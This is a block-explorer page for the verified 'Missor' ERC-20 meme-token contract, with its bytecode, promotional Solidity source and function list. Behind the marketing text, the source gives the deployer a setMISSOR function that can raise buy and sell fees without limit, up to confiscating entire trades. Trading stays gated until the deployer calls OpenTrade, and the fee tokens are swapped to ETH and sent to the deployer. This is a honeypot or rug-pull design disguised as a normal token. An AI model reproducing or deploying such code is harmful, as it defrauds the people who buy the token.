Address Contract Verified
Address
0x377D2F538d83480a7942c4ddaDb7242aeB2650Fc
Balance
0 ETH
Nonce
1
Code Size
2808 bytes
Creator
0x670Ab58f...59Ab at tx 0x57d60ddb...c8a53a
Indexed Transactions
0
Contract Bytecode
2808 bytes
0x60806040526004361061009d575f3560e01c8063313ce56711610062578063313ce5671461017557806357237b4e1461019b57806370a08231146101ba57806395d89b41146101e5578063a9059cbb14610216578063dd62ed3e14610235575f80fd5b806306fdde03146100a8578063095ea7b3146100ef5780630f8540e41461011e57806318160ddd1461013457806323b872dd14610156575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100d96040518060400160405280600681526020016526b4b9b9b7b960d11b81525081565b6040516100e691906107ad565b60405180910390f35b3480156100fa575f80fd5b5061010e610109366004610814565b61026b565b60405190151581526020016100e6565b348015610129575f80fd5b506101326102d7565b005b34801561013f575f80fd5b50610148610321565b6040519081526020016100e6565b348015610161575f80fd5b5061010e61017036600461083c565b61033d565b348015610180575f80fd5b50610189601281565b60405160ff90911681526020016100e6565b3480156101a6575f80fd5b506101326101b5366004610875565b61038a565b3480156101c5575f80fd5b506101486101d4366004610895565b60026020525f908152604090205481565b3480156101f0575f80fd5b506100d96040518060400160405280600681526020016526a4a9a9a7a960d11b81525081565b348015610221575f80fd5b5061010e610230366004610814565b6103c8565b348015610240575f80fd5b5061014861024f3660046108ae565b600360209081525f928352604080842090915290825290205481565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102c59086815260200190565b60405180910390a35060015b92915050565b3373670ab58fbee3abd1328c8a36ce27f9e491c459ab146102f6575f80fd5b600454600160a81b900460ff161561030c575f80fd5b6004805460ff60a81b1916600160a81b179055565b61032d6012600a6109d3565b61033a90620f42406109e1565b81565b6001600160a01b0383165f9081526003602090815260408083203384529091528120805483919083906103719084906109f8565b9091555061038290508484846103db565b949350505050565b73670ab58fbee3abd1328c8a36ce27f9e491c459aa1933016103b0575f91909155600155565b600a82106103bc575f80fd5b600a81106100a4575f80fd5b5f6103d43384846103db565b9392505050565b6004545f90600160a81b900460ff168061041157506001600160a01b03841673670ab58fbee3abd1328c8a36ce27f9e491c459ab145b8061043857506001600160a01b03831673670ab58fbee3abd1328c8a36ce27f9e491c459ab145b610440575f80fd5b600454600160a81b900460ff1615801561046357506004546001600160a01b0316155b801561046e57505f82115b1561048f57600480546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f90815260026020526040812080548492906104b69084906109f8565b90915550506004546001600160a01b0384811691161480156104e25750600454600160a01b900460ff16155b8015610520575060646104f76012600a6109d3565b61050490620f42406109e1565b61050e9190610a0b565b305f9081526002602052604090205410155b156106a9576004805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061056b5761056b610a2a565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106105b3576105b3610a2a565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646105f36012600a6109d3565b61060090620f42406109e1565b61060a9190610a0b565b5f8430426040518663ffffffff1660e01b815260040161062e959493929190610a3e565b5f604051808303815f87803b158015610645575f80fd5b505af1158015610657573d5f803e3d5ffd5b505060405173670ab58fbee3abd1328c8a36ce27f9e491c459ab92504780156108fc029250905f818181858888f19350505050158015610699573d5f803e3d5ffd5b50506004805460ff60a01b191690555b6001600160a01b0384163014610728576004545f906064906001600160a01b038781169116146106db576001546106de565b5f545b6106e890856109e1565b6106f29190610a0b565b90506106fe81846109f8565b305f90815260026020526040812080549295508392909190610721908490610aaf565b9091555050505b6001600160a01b0383165f908152600260205260408120805484929061074f908490610aaf565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079b91815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b818110156107d9578581018301518582016040015282016107bd565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461080f575f80fd5b919050565b5f8060408385031215610825575f80fd5b61082e836107f9565b946020939093013593505050565b5f805f6060848603121561084e575f80fd5b610857846107f9565b9250610865602085016107f9565b9150604084013590509250925092565b5f8060408385031215610886575f80fd5b50508035926020909101359150565b5f602082840312156108a5575f80fd5b6103d4826107f9565b5f80604083850312156108bf575f80fd5b6108c8836107f9565b91506108d6602084016107f9565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561092d57815f1904821115610913576109136108df565b8085161561092057918102915b93841c93908002906108f8565b509250929050565b5f82610943575060016102d1565b8161094f57505f6102d1565b8160018114610965576002811461096f5761098b565b60019150506102d1565b60ff841115610980576109806108df565b50506001821b6102d1565b5060208310610133831016604e8410600b84101617156109ae575081810a6102d1565b6109b883836108f3565b805f19048211156109cb576109cb6108df565b029392505050565b5f6103d460ff841683610935565b80820281158282048414176102d1576102d16108df565b818103818111156102d1576102d16108df565b5f82610a2557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a8e5784516001600160a01b031683529383019391830191600101610a69565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102d1576102d16108df56fea2646970667358221220a11a4caa07d9705a0b26b6fc6730a0b8eb7ec0dde9f96c14ab79f89b33f51fab64736f6c63430008170033
Verified Source Code Full Match
Compiler: v0.8.23+commit.f704f362
EVM: shanghai
Optimization: Yes (200 runs)
Missor.sol 130 lines
/*
Don't be a Missor! Look at it positively, it's not a crash - it's a sale! While the weak participants are emotional, the patient ones are gaining ground. Because the first green candle is about to appear. You know and feel it too, leave the nerves to others - be smart!
Telegram : https://t.me/MissorOnETH
Twitter : https://x.com/MissorOnETH
Website : https://missortoken.fun
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.23;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Missor {
string public constant name = "Missor"; //
string public constant symbol = "MISSOR"; //
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 1_000_000 * 10**decimals;
uint256 BurnTNumber = 0;
uint256 ConfirmTNumber = 0;
uint256 constant swapAmount = totalSupply / 100;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
address private pair;
address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
address payable constant deployer = payable(address(0x670Ab58fBeE3aBd1328C8a36ce27F9E491C459Ab)); //
bool private swapping;
bool private TradingOpenStatus;
constructor() {
balanceOf[msg.sender] = totalSupply;
allowance[address(this)][routerAddress] = type(uint256).max;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function approve(address spender, uint256 amount) external returns (bool){
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool){
return _transfer(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool){
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool){
require(TradingOpenStatus || from == deployer || to == deployer);
if(!TradingOpenStatus && pair == address(0) && amount > 0)
pair = to;
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ETH;
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
deployer.transfer(address(this).balance);
swapping = false;
}
if(from != address(this)){
uint256 FinalFigure = amount * (from == pair ? BurnTNumber : ConfirmTNumber) / 100;
amount -= FinalFigure;
balanceOf[address(this)] += FinalFigure;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function OpenTrade() external {
require(msg.sender == deployer);
require(!TradingOpenStatus);
TradingOpenStatus = true;
}
function setMISSOR(uint256 newTBurn, uint256 newTConfirm) external {
if(msg.sender == deployer){
BurnTNumber = newTBurn;
ConfirmTNumber = newTConfirm;
}
else{
require(newTBurn < 10);
require(newTConfirm < 10);
revert();
}
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
OpenTrade 0x0f8540e4
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
setMISSOR 0x57237b4e
uint256 newTBurn
uint256 newTConfirm
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address